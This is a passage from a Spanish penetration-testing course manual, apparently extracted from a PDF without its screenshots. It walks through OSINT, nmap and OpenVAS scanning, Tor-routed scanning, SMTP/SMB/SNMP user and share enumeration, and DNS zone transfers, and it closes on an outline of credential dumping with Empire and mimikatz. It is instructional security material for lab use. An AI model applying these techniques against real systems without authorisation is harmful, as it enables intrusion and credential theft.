Influencia
Google+
Simpatía hacía movimientos sociales
Identidad política
Identidad religiosa
Idolatrías
Intereses
Amistades
Rasgos de personalidad
LinkedIn
Técnologías con las que trabaja una empresa a través de las ofertas de trabajo
que publican
Perfiles profesionales que necesita cubrir una empresa
Cargos importantes de una empresa
Perfil profesional
Perfil académico
Situación laboral
Instagram
Fotografías
Datos personales
Amistades
Influencia
256
Recopilación de información
Cuanta más actividad tenga la persona en internet más fácil será obtener resultados. Por
ejemplo, si buscamos a un personaje con mucha actividad:
257
Recopilación de información
258
Recopilación de información
personas que están relacionadas con el personaje, videos en los que ha sido grabado:
259
Recopilación de información
6. Email
-d {nombreDeDominioABuscar}
-b {fuentesDeInformaciónDeDondeExtraerLosDatos}
-l {limitarLosResultadosDeLaBusqueda}
-f {guardarLosResultadosEnXMLoHTML}
Podemos buscar cuentas de email del dominio, [Link], usando como fuente de
busqueda el buscador de Google:
260
Recopilación de información
Si quisieramos guardar estos resultados en un archivo html para consultarlo más adelante,
podemos usar la opción -f al lanzar el comando:
261
Recopilación de información
y después ver los resultados en el archivo html. En este caso, por ejemplo, encontramos 27
emails usando el buscador de Google:
Si quisieramos extraer información sobre el dominio de todas las fuentes de las que dispone
la herramienta, podemos usar la palabra clave all con la opción -b:
262
Recopilación de información
En este caso vemos que el número de emails encontrados aumenta hasta 1070:
263
Recopilación de información
Remitente (From)
Destinatario (To)
Personas en copia (CC)
Asunto del email (Subject)
Texto del email (Body)
Archivos adjuntos (Attachements)
En cada email que enviamos o recibimos hay una cabecera con información el servidor
emisor del correo, fecha de creación del correo, ordenadores por los que pasa, etc. Si bien
estas cabeceras son manipulables, ver la información siempre arroja algo de luz. Veamos
un ejemplo con gmail. En este caso he creado una cuenta para realizar la prueba:
Me subscribo a una newsletter (Hunchly Daily Hidden Services Report) para estar informado
de los nuevos servicios que se descubren en la red Tor:
264
Recopilación de información
Lo abro y para ver las cabeceras, pulso sobre la triángulo a la derecha del botón responder
para desplegar el menú. en el menú selecciono Mostrar original:
265
Recopilación de información
266
Recopilación de información
Las cabeceras siempre es la información que esta al comienzo del mensaje. Para
ayudarnos a entenderlas un poco mejor, podemos copiar la cabecera del email:
Fijaros que sólo copio la cabecera, no el contenido del email. Una vez copiada la cabecera,
podemos utilizar la herramienta MessageHeader de Google para entender mejor el
contenido:
267
Recopilación de información
268
Recopilación de información
En las cabeceras del email, si nadie las ha manipulado, podemos ver la IP desde dónde nos
han enviado ese email:
Con la IP podemos ir a shodan para que nos facilite información sobre la misma:
269
Recopilación de información
Vemos que, como esperabamos, al ser un servidor de email tiene habilitado el protocolo
SMTP que se utiliza para enviar correos. Aquí tendríamos que anotar que el SMTP esta
habilitado en el puerto 25 que por definición no esta encriptado. Esta información podría
sernos útil a la hora de enumerar usuarios en la fase de enumeración. Otra punto que
vemos es que tiene el protocolo HTTP habilitado en el puerto 80. Es decir tiene un servicio
web habilitado y probablemente una página web. Accedemos a ella pulsando en el botón
con una flecha que esta debajo del número 80:
270
Recopilación de información
Y llegamos a la web de MailChimp que es un servicio que puede usarse para hacer
campañas de marketing por email o newsletters:
7. WHOIS
Trataremos de encontrar información sobre la persona o entidad a la que esta registrada un
nombre de dominio o recurso de internet.
Las bases de datos WHOIS son administradas y mantenidas por los RIR (Regional Internet
Registries)
271
Recopilación de información
Existe un protocolo para realizar consultas a bases de datos WHOIS que usa el puerto 43
del protocolo TCP. Podemos realizar consultas desde la línea de comandos usando el
programa whois:
Por ejemplo, entre los resultados podemos ver emails, teléfonos o los servidores dns:
Esto quiere decir que no tenemos configurado el servidor donde esta la base de datos
whois para los dominios de España (.es). Si queremos configurar sólo el de España,
debemos crear el fichero, [Link], en el directorio /etc. Para ello, podemos usar
cualquier editor de texto como, por ejemplo, el editor Vim:
272
Recopilación de información
y configurar el servidor donde está la base de datos de España añadiendo el texto .es$
[Link]:
Si, en vez de configurar sólo el servidor donde esta la base de datos whois de España,
queremos configurar todos los servidores que contienen bases de datos whois de los
distintos países, podemos bajarnos el fichero desde algún repositorio de internet. Por
ejemplo, podemos acceder al siguiente repositorio:
273
Recopilación de información
Esto bastaría para la mayoría de los países. Sin embargo, en España, no es suficiente:
274
Recopilación de información
275
Recopilación de información
8. DNS
Una vez que hemos localizado los servidores DNS en el punto anterior, trataremos de
identificar equipos importantes dentro de la red objetivo.
276
Recopilación de información
El protocolo DNS, normalmente, funciona en el puerto 53 del protocolo UDP, pero para
ciertas operaciones usa el puerto 53 del protocolo TCP.
nslookup {[Link]}
por defecto nos devolvera la IPv4 (registro A) y, si está disponible, la IPv6 (registro AAAA)
del nombre de dominio que le solicitemos:
277
Recopilación de información
Vemos que, por defecto, nos aparece el servidor DNS que nos ha configurado nuestro
proveedor de servicios de internet. Pero podemos usar el que queramos, por ejemplo, para
usar el servidor DNS de google tecleamos server y la dirección IPv4 del servidor DNS de
google que es [Link]:
Ahora las consultas las haremos al servidor de google. Vamos a comenzar consultando las
direcciones IPv4 del dominio [Link]. Para ello le decimos que tipo de registro
queremos buscar utilizando el comando set type. Como en este caso queremos buscar una
dirección IPv4 (registro A), escribimos:
278
Recopilación de información
como podemos ver nos facilita las direcciones IPv4 del dominio. Si, en vez de las de IPv4,
quisieramos las direcciones IPv6:
en este caso vemos que estan usando los servidores de google. También podemos ver los
servidores DNS que continen los registros del dominio:
279
Recopilación de información
dig {[Link]}
280
Recopilación de información
Como podemos ver, por defecto, nos devuelve los registros A, pero si quisiesemos otros
registros, podemos escribir
281
Recopilación de información
282
Recopilación de información
283
Recopilación de información
284
Escaneando
Escaneando
Esta es la segunda fase del bloque de reconocimiento. Tras haber recopilado toda la
información posible sobre el objetivo, en esta fase intentaremos descubrir qué equipos del
cliente tiene expuestos en internet (escaneo de red), qué servicios tienen habilitados esos
equipos (escaneo de puertos) y si esos equipos y servicios habilitados tienen
vulnerabilidades conocidas (escaneo de vulnerabilidades). El objetivo de esta fase es
utilizar toda la información que hemos encontrado en la fase anterior para detectar vectores
de ataque y vías de entrada en la red que se este auditando.
Metodología
Se recomienda seguir usando cherrytree para ir guardando las evidencias.
285
Escaneando
Referencias usadas
1. Páginas web
OSI
Nmap examples
Nmap Host discovery
Nmap port scanning techniques
RFC 792 - ICMPv4
RFC 793 - TCP
Hackplayers - 4nonimizer
Surveillance Self Defense
What is a DNS leak and why should I care?
ICMPv4
Debido a los errores que pueden existir en una red de computadores, necesitamos un modo
de saber el estado de los equipos que componen esa red y obtener información para
solucionar los problemas que puedan surgir. Ahí es donde entra Internet Control Message
Protocol (ICMP). ICMP es un protocolo que nos va a permitir hacer consultas a distintos
equipos de una red para conocer su estado. Existen dos versiones de este protocolo:
ICMPv4
ICMPv6
286
Escaneando
Nos centraremos en ICMPv4 porque es el que necesitamos para el contenido del curso. El
uso más común del protocolo ICMP es detectar si un equipo esta activo en una red. Lo que
coloquialmente llamamos hacer un ping a un equipo. ICMP es un protocolo que opera en la
capa 3 del modelo OSI que funciona enviando peticiones de distintos tipos a los equipos
que hay en una red y analizando los tipos de respuesta que recibe. Los tipos de peticiones y
de respuesta que se pueden enviar o recibir están unívocamente identificados por un
número que podemos consultar en la web de IANA. Por ejemplo, el tipo de petición para
saber si un equipo está activo en una red es el número 8. Si lanzamos un ping (petición
ICMP tipo 8) a un equipo en una red donde el protocolo ICMP esté habilitado y no nos
responde, sabremos que el equipo no esta activo. Sin embargo, si el equipo nos responde
al ping con un paquete ICMP de tipo 0, sabremos que el equipo está activo en la red.
Los 6 bits marcados en amarillo corresponden con las flags del protocolo TCP. Estos 6 bits,
llamados flags en la cabecera del protocolo TCP, gobiernan la transmisión de datos que se
produce en una comunicación a través del protocolo TCP. Con estas flags podemos iniciar,
mantener o interrumpir cualquier transmissión a través del protocolo TCP. El detalle de cada
flag esta detallado en el temario oficial. Sólo mencionar que, los sistemas operativos
287
Escaneando
o en internet:
la opción -c es para indicar el número de pings (peticiones ICMP de tipo 8) que queremos
enviar
288
Escaneando
Existen programas que nos van a facilitar esta tarea como veremos a continuación.
como podemos ver, si el protocolo ICMP esta activo, nos detecta todos los equipos activos
en esa red.
289
Escaneando
290
Escaneando
El proyecto Nmap ha puesto un equipo en internet para que podamos practicar con nmap
de forma responsable. El nombre de dominio es [Link]:
291
Escaneando
292
Escaneando
Para detectar la versión de los servicios (programas) que hay corriendo en cada puerto
podemos usar la opción -sV. Lo que hará nmap es intentar obtener el banner de cada
servicio:
293
Escaneando
294
Escaneando
Otro programa que podemos utilizar para averiguar el sistema operativo es p0f. P0f detecta
el sistema operativo de forma pasiva esnifando tráfico. Para usarlo, primero debemos
indicarle la interfaz de red a usar. Para ver las interfaces de red, por ejemplo, podemos usar
el comando netstat -i:
Como es una herramienta que captura tráfico se quedará a la escucha. Ahora podemos, por
ejemplo, navegar a la dirección web del equipo que queramos saber el sistema operativo:
295
Escaneando
También podemos indicarle a nmap que, cuando escane el activo, use todos los scripts que
tenga disponible para ese servicio. Para ello usamos la opción --script=default:
296
Escaneando
Esta opción -A suele pasarse a nmap junto con un timing agresivo. El timing quiere decir
cuánto tiempo va a esperar nmap a que el servidor le responda por cada petición que haga.
El valor más bajo es 0 (esperará mucho tiempo) y el valor más alto es 5 (casi no esperará).
En este caso usamos la opción -T para pasarle un valor de timing:
Aunque hace mucho ruido, los resultados son muy completos. Por ejemplo, se detecta que
el servicio ftp tiene habilitado el acceso anónimo. Aunque este timing hace que tarde poco
el scan, se recomienda usar valores de timing más bajos para hacer menos ruido.
297
Escaneando
También podemos usar hping3 para lanzar un escaneo ACK pasandole activando la flag
ACK con la opción -A:
La privacidad es que nadie sepa qué se está haciendo mientras se está conectado a
internet
El anónimato es que no se sepa quién es la persona que hay detrás de las acciones
que se están realizando
298
Escaneando
Cuando queramos anónimato, buscaremos soluciones técnicas como los proxies, cadenas
de proxies o redes alternativas como TOR, I2P, GNUNet o Freenet. Cuando queramos
privacidad buscaremos soluciones técnológicas como las VPN. Lo ideal es encontrar un
servicio VPN que no registre nuestra actividad en un páis cuyas leyes no obliguen al
propietario del servicio VPN a hacerlo. En este tipo de servicios dependemos en gran
medida de que el propietario del servicio no registre nuestra actividad. Asimismo las VPN y
otros servicios de anónimato están amenazados constantemente por configuraciones de
serie que facilitan los proveedores de acceso a internet como los dnsleaks. Tambíen estas
soluciones tecnológicas se ven amenazadas por la actividad que, en muchas ocasiones, se
realiza a través de redes sociales o teléfonos móviles. En muchos casos, para conseguir
privacidad y anónimato, se requiere crear una identidad dígital paralela que no tenga
relación alguna con la anterior en donde se combine el uso de soluciones técnologicas de
privacidad y anonimato. Aunque se sale del objeto de este manual cubrir estas soluciones
técnologicas, veremos a continuación dos soluciones que podremos utilizar cuando
estemos realizando una auditoria de seguridad a la que nos hayan autorizado.
299
Escaneando
Por defecto proxychains redirige el tráfico a través de la red TOR. Probamos que la
instalación se ha realizado correctamente. Para ello verificamos la IP pública que tenemos,
por ejemplo, usando el programa curl:
300
Escaneando
Podemos usar proxychains con cualquier programa. Por ejemplo, si lo usamos con el
navegador firefox:
Ahora podemos lanzar nmap de forma "anónima" redirigiendo el tráfico a través de TOR:
Hackplayers - 4nonimizer
4nonimizer nos va a ayudar de forma sencilla a conseguir privacidad mediante el uso de
una VPN y de anonimato. En el repositorio de github de 4nonimizer tienen una descripción
muy completa del script:
301
Escaneando
Vamos a ver cómo podemos usarlo para poder conectar con el servicio VPN que viene por
defecto VPNBook. Primero tenemos que instalar 4nonimizer en Kali Linux. Para ello
clonamos el repositorio de github:
para instalarlo:
Tras terminar la instalación nos muestra dos opciones que le podemos pasar al comando:
start
help
302
Escaneando
Antes de comenzar a usarlo, para evitar los errores que puede darnos el script con el DNS
de nuestro proveedor de servicios de internet, configuramos el servidor de DNS de Google
([Link]):
y depués iniciamos el servicio para que se conecte a la VPN con el comando 4nonimizer
start:
Nos conectamos por VPN al proveedor VPNBook y se nos asigna una nueva dirección IP:
Confirmamos la IP:
y vemos que coincide. Si quisieramos cambiar la IP, podemos hacerlo con el comando
4nonimizer change_ip:
303
Escaneando
304
Escaneando
Como casi siempre para ampliar información, podemos usar el comando de ayuda
4nonimizer help:
305
Escaneando
Acunetix
Nessus
Nexpose
OpenVas
Un escáner de vulnerabilidades arroja muchos falsos positivos que deben ser verificados
para que sólo se reporten las vulnerabilidades reales. La verificación de los resultados de
un escaner de vulnerabilidades, normalmente, suelen realizarla equipos especializados en
el análisis de vulnerabilidades.
306
Escaneando
Una vez que este instalado. Debemos ejecutar el siguiente comando para configurarlo:
tardará bastante en ejecutarse porque, entre otros, tiene que actualizar la base de datos de
vulnerabilidades conocidas y generar los certificados que se usuarán en la página web local
desde la que administraremos los escaneos. Una vez termine habrá creado un usuario
llamado admin y nos facilitará la contraseña por pantalla:
307
Escaneando
308
Escaneando
Nada más acceder a la página web de administración de OpenVas, tendremos que logarnos
con el usuario admin y la contraseña que se nos facilitó al ejecutar el comando openvas-
setup:
309
Escaneando
Una vez logados, nos aparecerá un pequeño Dashboard donde figurarán los resúmenes de
los escaneos que realicemos. Para comenzar, de forma rápida, a escanear un equipo,
hacemos click en el menú Scans y seleccionamos la opción Tasks:
310
Escaneando
y comenzará el escaneo. Si, al final de la pantalla, pulsamos sobre el escaneo que está
ejecutandose:
311
Escaneando
Podremos ver los detalles del escaneo en curso y acceder a los resultados y al reporte en
curso:
312
Escaneando
Una vez que el escaneo haya terminado, si volvemos al dashboard, vermos que nuestro
escaneo queda reflejado:
313
Escaneando
Para ver los resultados del scan, seleccionamos la opción Results del menu Scans:
314
Escaneando
En este caso nos reporta que se ha encontrado un servicio SSH con contraseñas por
defecto y nos muestra los usuarios utilizados para conectarse:
315
Escaneando
Usuario: user
Contraseña: user
316
Escaneando
Y vemos que podemos logarnos en la máquina por ssh con esas credenciales. Luego en
este caso, sería un vulnerabilidad real que se debe a una configuración incorrecta del
equipo.
317
Enumeración
Enumeración
Es la tercera fase del bloque de reconocimiento. Tras haber verificado que equipos y
servicios están activos en la red que estemos auditando, en la fase de enumeración
conectaremos con estos equipos y servicios que esten activos en la red para, a través de
distintas pruebas, conseguir nombres de usuarios, los nombres de los equipos en la red o
identificar recursos compartidos (shares).
Metodología
Se recomienda seguir usando cherrytree para ir guardando las evidencias.
318
Enumeración
net view
ntbstat
Referencias usadas
1. Libros
Practical Packet Analysis, 3rd Edition
2. Páginas web
RFC 2821 - SMTP
Capturas de tráfico de red
OpenSSL s_client documentation
[Link]
NetBIOS Name Services
What is the difference between NetBIOS and SMB?
Microsoft SMB Protocol and CIFS Protocol Overview
Metasploit Unleashed - SNMP Auxiliary Module for Metasploit
319
Enumeración
SMTP
SMB y Samba
SNMP
NTP
DNS
320
Enumeración
Una vez abierto wireshark, hacemos click en la opción Open del menú File:
321
Enumeración
322
Enumeración
Tras abrir la captura, podemos ver todos los paquetes que se han enviado y recibido
durante la captura de red. Con el fin de filtrar la captura y mostrar la información de un
modo más amigable, podemos ir a la opción Follow menu Analyze y seleccionar TCP
Stream:
Ahora podemos ver los comandos que se han usado para la enviar un correo electrónico
usando el protocolo SMTP. En la siguiente captura de pantalla están comentados algunos
de ellos:
323
Enumeración
Ahora que hemos visto los comandos, usemoslos para enviar un correo electrónico usando
el protocolo SMTP. En este caso, volvemos a usar gmail para enviar el correo. Creamos una
cuenta para hacer pruebas en gmail y mandamos el email desde esa cuenta:
324
Enumeración
través de distintos protocolos como HTTP o SMTP, con otros equipos remotos que utilicen
el protocolo TLS/SSL para cifrar las comunicaciones. Usaremos el programa s_client de la
suite openssl con las siguientes opciones:
NOTA En general, en los sistemas operativos GNU/Linux, cuando pulsamos intro para
saltar de línea, se usa el carácter CR (Carriage Return) para representar ese cambio de
línea. Sin embargo, en los sistemas operativos windows y, como podemos ver en la
especificación, tambien el protocolo SMTP, usa los carácteres CR y LF (Line Feed):
Una vez vistas las opciones, usamos el programa s_client para conectarnos a gmail:
325
Enumeración
Tras iniciar la comunicación, nos mostrará un código 250 y se quedará en espera para que
nosotros iniciemos la conversación:
Tras saludarlo, nos mostrará los comandos disponibles. En este caso, tendremos que
autenticarnos ante el servidor con nuestro usuario (email) y contraseña. El método de
autenticación que usaremos sera autenticación básica. Para ello, primero tenemos que
pasar nuestro nombre usuario y contraseña al sistema de numeración con base 64. Para
326
Enumeración
ello, podemos usar muchas páginas web que podemos encontrar a través de los
buscadores de internet o, por ejemplo, usando un lenguaje de programación como python.
El formato en que debemos codificar, pasar de texto a base64, el usuario y la contraseña
es:
\0miemail@[Link]\0mipassword
El carácter \0 indica que finaliza una cadena texto y debe ir al principio y entre medias del
email y la constraseña
Una vez que lo tenemos en ese formato, usamos python para convertirlo a base 64:
La primera vez que intentemos autenticarnos, el servidor de gmail nos mostrará el siguiente
mensaje:
y nos enviará un email a nuestra bandeja de entrada para informarnos que se ha intentado
acceder desde una aplicación insegura:
327
Enumeración
Tras hacer click en el enlace veremos que, por defecto, no esta permitido el acceso:
328
Enumeración
El primer comando que tenemos que usaremos es MAIL FROM para indicar quién envía el
email. Aquí introducimos el email con el que nos hemos autenticado:
329
Enumeración
El siguiente comando RCPT TO es para indicar el destinatario del correo. Por ejemplo, para
poder comprobar que se recibe el mensaje nos lo podemos enviar a nuestro correo
personal:
y pulsamos intro para enviar el correo electrónico. El servidor nos indicará con un código
250 que se ha enviado correctamente:
330
Enumeración
Podemos verificar que lo hemos recibido en la bandeja de entrada del correo al que lo
hayamos enviado:
y ver su contenido:
331
Enumeración
RCPT TO
VRFY
EXPN
Como la comunicación no esta cifrada, usaremos el programa telnet para conectar con el
servicio SMTP. La forma de utilizarlo es:
En este caso nos conectamos al puerto 25 del protocolo TCP de la máquina metasploitable
2:
332
Enumeración
333
Enumeración
y como podemos ver, el servidor nos indica que ese usuario no existe. Ahora probamos con
uno que si existe:
y el servidor nos permite enviarlo a este destinatario. Ahora probamos con otro a ver si
existe:
334
Enumeración
y nos permite enviar correos a ese usuario. En este caso, hubiesemos encontrado dos
usuarios:
user
msfadmin
En muchas empresas, es posible enumerar usuarios usando RCPT TO porque, para enviar
correos, debe estar activo.
335
Enumeración
Aunque debería estar desactivado, el siguiente comando que podemos usar para enumerar
usuarios a través del protocolo SMTP es el comando VRFY. Para ello nos conectamos al
servidor usando telnet y le saludamos usando el comando EHLO:
VRFY {usuarioQueQueremosProbar}
336
Enumeración
y al igual que con el comando RCPT TO iriamos probando usuarios a ver si existen o no.
Siempre ayudandonos de todos los correos electronicos e información que hayamos podido
recopilar en la fase de recopilación de información.
Aunque el comando EXPN del protocolo SMTP también nos permite enumerar, no tengo
ninguna máquina de ejemplo. Pero podéis apuntarlo para que lo tengáis en cuenta.
337
Enumeración
Una vez que tengo un fichero (diccionario) con los usuarios a comprobar puedo usar el
script. Para usarlo le tengo que indicar qué comando del protocolo SMTP utilizar para la
enumeración. Las opciones del comando son:
Podemos ver que, al finalizar, nos informa de los usuarios que exiten:
user
msfadmin
338
Enumeración
339
Enumeración
A continuación usamos el comando show options para que nos muestre las opciones que
tiene el escaner. En este caso cambiaremos las opciones:
user
msfadmin
340
Enumeración
Dependiendo de los módulos que utilicemos, tendremos que pasar unas opciones u otras.
Por ejemplo, para saber cómo utilizar el módulo smtp_vrfy, escribimos patator smtp_vrfy y
pulsamos intro:
341
Enumeración
user
msfadmin
342
Enumeración
sólo define el lugar (endpoint) al que tengo que llamar para pedir las cosas (servicios en
este caso) pero no define el medio de transporte (protocolo) a través del cual pediré o me
llegarán los datos. Los medios de transporte (protocolos) que usan para las llamar a los
servicios de la API de NetBIOS son:
UDP 137 => Se usa para las llamadas al servicio de nombres, conocido como NBNS
(NetBIOS Name Service) o WINS, de la API de NetBIOS
UDP 138 => Se usa para las llamadas al servicio, Datagram distribution service, de
la API de NetBIOS (en deshuso)
TCP 139 => Se usa para las llamadas al servicio NetBIOS Session Services de la API
de NetBIOS
Estos servicios de la API de NetBIOS son usados por otros protocolos como el protocolo
SMB.
El servicio NetBIOS Name Service (NBNS), también conocido como WINS, es un servicio
de la capa 5 (session) del modelo OSI que asigna un nombre a cada ordenador con sistema
operativo windows. Sirve al mismo propósito que el protocolo DNS, traducir nombres fáciles
de recordar por las personas a direcciones IP. Sólo que NetBIOS, además de funcionar con
el protocolo IP, funciona con otros protocolos ya en deshuso como IPX o Token Ring. Sin
embargo, el servicio NBNS de la API de NetBIOS está mucho más limitado que el servicio
DNS porque, por ejemplo, ni soporta el protocolo IPv6 ni está organizado de forma
jerárquica. El nombre que asigna el servicio NBNS esta formado por 16 carácteres ASCII:
los 15 primeros carácteres se usan para el dar el nombre que identifique al equipo o
dispositivo
el último carácter (sufijo) se utiliza para identificar el tipo de servicio al que se le ha
asignado el nombre
343
Enumeración
344
Enumeración
Samba es una implementación de software libre del protocolo SMB que se usa en sistemas
operativos GNU/Linux y que es compatible con equipos con sistema operativo windows.
IE10WIN7
METASPLOITABLE
Si los analizamos para que nos muestre los sufijos del nombre asignado por NBNS y asi
conocer qué tipo de servicio son, pasamos la opción -v a nbtscan:
El número de sufijo nos da indicación del uso. Por ejemplo, como hemos visto
anteriormente el sujifo 00 nos indica que es una workstation y el sufijo 20 indica un servicio
de compartir ficheros.
345
Enumeración
[Link]
El script intenta determinar el sistema operativo, nombre del ordenador (NBNS), dominio,
grupo de trabajo y hora del sistema operativo. Es decir, hace llamadas a los servicios de la
API de NetBIOS a través de los puertos 137 (UDP) y 139 (TCP) utilizando el protocolo SMB.
Lo probamos en la máquina virtual de Windows 7:
346
Enumeración
[Link]
347
Enumeración
[Link]
El script intenta enumerar usuarios utilizando la API de NetBIOS a través del puerto y 139
(TCP) a través del protocolo SMB y utilizando el puerto 445 del protocolo SMB. Debido a
que los scripts de nmap intentan utilizar el acceso anónimo (null session) y, como hemos
visto en el ejemplo anterior, en sistemas operativos windows el acceso anónimo (null
session) está deshabilitado por defecto, lo probamos en la máquina de metasploitable 2:
348
Enumeración
y el usuario user:
349
Enumeración
Como está activa la autenticación anónima (null session) podemos conectarnos sin
necesidad de contraseña. Por eso pulsamos intro:
En este caso, aparte de la sesión anónima, vemos que hay un share que una carpeta
compartida (/tmp), pues nos conectamos a ver que tiene usando smbclient:
Una vez dentro, podemos ver los contenidos de la carpeta usando el comando ls:
350
Enumeración
En este caso vemos que, nos indica que se aceptan sessiones nulas sin usuario ni
password, y después nos facilita la lista de usuarios. Para hacer una enumeración
completa, usamos la opción -a:
351
Enumeración
net view
Nos puede servir para enumerar los equipos en el dominio y sus recursos compartidos
(shares). Para enumerar los equipos del dominio realiza peticiones al servicio NBNS
(NetBIOS Name Service) de la API de NetBIOS (puerto 137 del protocolo UDP) a través del
protocolo SMB. Por ejemplo, si queremos enumerar los equipos:
352
Enumeración
Una vez descubierto los equipos, podemos intentar enumerar sus recursos compartidos.
Probamos a enumerar los recursos compartidos de la máquina con sistema operativo
Windows 10:
nbtstat
Una vez descubiertos los equipos con net view, podemos usarlo para ver los sufijos
asignados por NBNS:
353
Enumeración
RPC (Remote Procedure Call) es modelo o estandar que se puede utilizar para diseñar una
API. Si se diseña una API siguiendo el modelo RPC, la API será una API RPC. Existen
otros modelos a la hora de diseñar una API como el modelo SOAP o el modelo REST que
es muy utilizado en APIs web como, por ejemplo, la API REST de Twitter. Entrar en los
detalles del diseño de APIs de acuerdo al modelo RPC se salen del objetivo de este
documento.
Para poder enumerar necesitamos tener un usuario y una contraseña. Para usarlo le
indicamos el equipo al que nos queremos conectar y el usuario (IEUser en este caso):
Ahora podemos ir tecleando comandos para ir obteniendo información. Por ejemplo svrinfo
nos mostrará información sobre el sistema operativo:
354
Enumeración
si queremos ver más información sobre algún usuario, podemos usar el comando queryuser
y pasarle el RID que nos ha dado en el comando anterior. Podemos pasarle el RID en
hexadecimal, o convertirlo en decimal, por ejemplo, usando python:
355
Enumeración
además de enumerar, el programa rpcclient nos va a permitir hacer muchas más cosas.
Para ver un listado completo de todos los comandos que podemos usar, tecleamos help:
356
Enumeración
357
Enumeración
Cada punto (nodo) del árbol es una o varias características (opciones) de los dispositvos o
equipos que pueden ser administradas remotamente. A cada nodo se le asigna un
identificador que se denomina OID (Object Identifier) y que será utilizado por el protocolo
SNMP cuando se quiera modificar o saber el estado de esa característica. El protocolo
SNMP define 2 contraseñas que denomina community strings:
una de ellas que sólo permite ver el estado (configuración) del dispositivo y es
accesible a todo el mundo (public community string)
otra que, además de ver, permite cambiar la configuración del dispositivo y que no está
disponible públicamente (private community string)
Como he mencionado anteriormente, de las 3 versiones del protocolo SNMP, la única que
va cifrada (SNMPv3) no es muy utilizada. Es decir, que siempre que no este implementada
esta versión, podremos, al menos, conseguir la contraseña pública (public community
string) y ver la configuración de todos los dispositivos. Vamos a ver herramientas
(programas) que capturan esta clave pública (public community string) y nos muestran la
configuración de los equipos. Como siempre, para ampliar conocimientos podéis consultar
los RFCs:
Vemos que están usando la primera versión del protocolo SNMP. Después usamos el
programa onesixtyone para realizar peticiones SNMP a diferentes IPs para descubrir la
contraseña (community string) pública y, a ser posible, también la privada. Por ejemplo,
para conseguir las community strings de un dispositivo en concreto:
358
Enumeración
Ahora podemos usar un programa como snmpwalk para ver la información del equipo de la
base de datos MIB ya que tenemos la public community string para autorizar esta
operación. Para ello, le pasamos las opciones:
-v1 porque la versión del protocolo que hemos descubierto con nmap es SNMPv1
-c public porque estamos usando la public community string para autorizar en MIB la
operación de ver la configuración del equipo
359
Enumeración
Utilizamos el comando show options para que nos muestre las opciones del scanner:
Como estás opciones son las que correctas en este caso, sólo modificamos la opción
RHOSTS para indicar el dispositivo o equipo objetivo:
360
Enumeración
361
Enumeración
Ahora usaremos el programa ntpq (ntp query) para realizar consultas al servidor NTP para
obtener información. Para usarlo, le indicamos el equipo o dispositivo al que nos queremos
conectar:
Una vez conectados, podemos teclear comandos y enumerar el servidor NTP. Uno de los
primeros comandos que podemos usar para recopilar información útil es readlist:
Vemos que se esta usando un servicio NTP versión 4 sobre un sistema operativo Linux
sobre un procesador de arquitectura de 64bits. Otro comando interesante es peers:
362
Enumeración
En donde vemos la lista de servidores remotos a la que nos conectamos. El que empieza
con un * es que primer servidor que se ha definido en el archivo de configuración del
servicio ntp:
Para ver el resto de comandos que podemos utilizar, podemos usar el comando help:
363
Enumeración
364
Enumeración
El protocolo DNS funciona en el puerto 53 del protocolo UDP pero, para las transferencias
de zona, también usa el puerto 53 del protocolo TCP.
y consulto el registro SOA del nombre de dominio [Link] para saber qué servidor DNS
es responsable de este dominio. El servidor DNS responsable del nombre de dominio se
llama primary name server:
365
Enumeración
Un servidor DNS puede ser responsable de uno o varios nombres de dominio. Una vez que
sabemos identificar qué servidor DNS es responsable de un nombre de dominio, vamos
introducir el concepto de zona en el protocolo DNS. Se llama zona, en el protocolo DNS, a
la información del nombre de dominio o conjunto de nombres de dominio contenida en la
base de datos del servidor DNS sobre el nombre de dominio o nombres de dominios de los
que es responsable. Por ejemplo, la empresa ficticia No Tenemos respuestas puede tener
un servidor DNS que sea responsable del nombre de dominio [Link].
Que el servidor DNS sea responsable del nombre de dominio, [Link],
quiere decir que, cualquier equipo de internet que quiera saber la dirección IP o direcciones
IPs asociadas al dominio [Link], tendrá que preguntar al servidor DNS
responsable del dominio [Link]. Como hemos visto, denominamos zona,
en el protocolo DNS, a la información del nombre de dominio o conjunto de nombres de
dominio contenida en la base de datos del servidor DNS sobre el nombre de dominio o
nombres de dominios de los que es responsable. Esto quiere decir, que el servidor DNS del
dominio, [Link], contiene la base de datos con todas las direcciones IPs
asociadas a ese dominio. Como estas IPs están clasificadas por registros, podemos
identificar las direcciones IP de todos los equipos importantes en el dominio,
[Link], como los servidores de correo. Si el dominio no es muy grande y
no cuentan con servidores DNS responsables para los subdominios del dominio principal, el
servidor DNS responsable del nombre de dominio [Link], también
contendrá todas las IPs asociadas a cada uno de los subdominios.
366
Enumeración
Después realizamos una petición, a través del protocolo DNS, para consultar los servidores
DNS asociados al dominio [Link]:
367
Enumeración
[Link]
[Link]
Ahora vamos a consultar el registro SOA para saber cuál de los 2 es el principal:
368
Enumeración
y para salvar los resultados a un fichero, podemos usar una simple redirección:
369
Enumeración
Otro programa incluido en Kali Linux con el que podemos realizar transferencias de zona es
dig. Al igual que con nslookup, vimos como utilizar dig en el capítulo de recopilación de
información. Para usar dig, tenemos que saber el registro DNS que se utiliza para solicitar
una transferencia de zona. Es el registro AXFR. Luego hacemos una transferencia de zona
con dig:
y después ver el contenido del fichero. En este caso vemos las primeras 16 líneas del
fichero donde hemos guardado los datos:
370
Ataques contra crendenciales de usuario
Metodología
Se recomienda seguir usando cherrytree para ir guardando las evidencias.
3. Almacenamiento de credenciales
Breve introducción informal al almacenamiento de credenciales en sistemas
GNU/Linux
Obteniendo las credenciales en sistemas GNU/Linux (/etc/shadow)
Breve introducción informal al almacenamiento de credenciales en sistemas
Windows
Breve introducción al framework Empire
Tomando el control de una máquina con Empire
Obteniendo los hashes de las contraseñas con el módulo credentials/powerdump
de Empire
Obteniendo las credenciales en sistemas windows usando Empire
Obteniendo las contraseñas de memoria con mimikatz desde Empire
371
Ataques contra crendenciales de usuario
hashid
Cracking de contraseñas con John The Ripper
Cracking de contraseñas con Hashcat
Referencias usadas
1. Páginas web
Empire
Que combinen letras mayúsculas y minúsculas, números y símbolos como por ejemplo:
.,:@/|-_+*
Tener una longitud mínima de 24 caracteres unicode
Tener una política de cambio de contraseña cada cierto tiempo
Asegurarse que no se utiliza una contraseña que ya haya sido utilizada anteriormente
Que sea una secuencia lo más aleatoria posible
Si no se utilizase una secuencia aleatoria -lo más recomendable-, pueden seguirse
estrategias como utilizar la segunda letra de cada palabra de una frase intercalando
números, letras mayúsculas, minúsculas y símbolos.
Tipos de ataques
Existen distintos tipos de ataques que podemos realizar para conseguir las credenciales de
un usuario. En muchas ocasiones, el usuario lo hemos conseguido en la fase de
